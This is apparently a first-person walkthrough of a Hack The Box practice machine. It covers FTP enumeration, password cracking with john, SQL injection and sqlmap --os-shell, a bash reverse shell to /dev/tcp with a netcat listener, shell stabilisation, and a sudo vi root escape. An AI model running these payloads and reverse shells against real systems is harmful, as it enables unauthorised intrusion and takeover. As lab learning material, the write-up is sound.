After booting up the instance I began, as I always do, with an nmap scan using the -sC and -sV options.
Based on the results, I noticed that the machine was running an FTP server. Intrigued by this, I went ahead and used the ftp CLI to take a look at what files this server may have available.
Logging in as an anonymous user, I was able to download a file named backup.zip, however upon trying to decompress it using the unzip command I realised that it was password protected. After poking around on the internet for a while, I learned that it was possible to use John the Ripper to crack the password of encrypted zip files. To do this, I used the command zip2john backup.zip > backup.john to generate a hash suitable for cracking with john. I was then able to use this hash, along with the rockyou.txt wordlist, to crack the password.
Inside this zip archive I was able to access the files index.php and style.css. To see if I could make a bit more sense out of the contents of these files, I decided to take a look at the HTTP server that had been picked up by my nmap scan.
Here I was able to find a webpage named index.php which consisted of a simple login form. I wondered if the index.php I had found in the zip archive might be related to the page I had just found, and if so, whether it might contain any information that would allow me to bypass the login form. Searching through the index.php file, I found the following lines of interest.
The file appeared to contain the MD5 hash of the password for the admin account. I copied out this hash into a txt file and then used john and the rockyou.txt wordlist to see if I could crack the password.
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
From here, I was fairly easily able to login as admin. Upon logging in, I was met with the following page.
My first course of action here was to see if I could find some sort of injection vulnerability in the search bar of the page. Using a few SQL injection payloads, such as ' OR 1=1 -- - along with random SQL characters, I was able to elicit a response from the server that was consistent with an SQL injection vulnerability. Having established that SQL injection was possible, I then decided to fire up sqlmap, rather than attempt to exploit manually. Based on hints provided by Hack The Box, I discovered that sqlmap has a --os-shell option which allows it to attempt to establish some sort of reverse shell on the target system. Having discovered this, I used the following command to attempt to exploit the vulnerability.
sqlmap --os-shell --cookies="PHPSESSID=my_cookie" -u http://machine_ip/dashboard.php?search=
After a few seconds of sqlmap whirring away, I was successfully able to establish a reverse shell!
This success was short lived however, as I soon found this reverse shell to be quite lacking. I decided to see if I could set up a better reverse shell via netcat, to do this I started of a listener on my machine.
nc -lnvp 5555
And then instructed the target machine to connect with it.
bash -c "bash -i >& /dev/tcp/my_ip/5555 0>&1"
Doing this, I was successfully able to catch a reverse shell from the target machine, but it was quite janky, so I decided to use this as an opportunity to learn about proper reverse shell stabilisation. After some research and experimentation, I discovered this to be an effective way to stabilise my netcat shell.
# My machine
bash
nc -lnvp 5555
# Target machine
python3 -c 'import pty;pty.spawn("/bin/bash")'
# My machine
CTRL+Z
stty raw -echo
fg
# Target machine
export TERM=xterm
This gave me a reverse shell I was much happier with and that allowed me to use the full suite of features one would expect out of a shell such as signal shortcuts, use of sudo and most importantly, the ability to properly use vim.
From here, the Hack The Box questions steered me towards finding a way to execute the sudo -l command, however before I could do this, I needed the password for the account I was logged in as, that be the postgres account. Admittedly, at this point I had to cheat a little, after a bit of searching I was at a loss as to where the password may be, checking the guide revealed that it was located at /var/www/html/dashboard.php. In hindsight, this made a lot of sense, since the PHP application would almost certainly need the credentials for the postgres account in order to access the database properly.
With password in hand, I decided to close off my reverse shell and login via SSH, I did this because the reverse shells generated by the sqlmap shell only seemed to last for a fairly short period before timing out, which got annoying pretty fast. Once logged in, I sought to find the user flag using the following command.
find / -name user.txt 2>/dev/null
After that, I used sudo -l to see what commands the user could run as root. I noted that the user was able to run /bin/vi on a very specific file, checking GTFObins I found that this could be exploited in the following way.
sudo /bin/vi /specific_file
:set shell=/bin/sh
:shell
From here, I had a root shell and thus access to the entire system as the root user.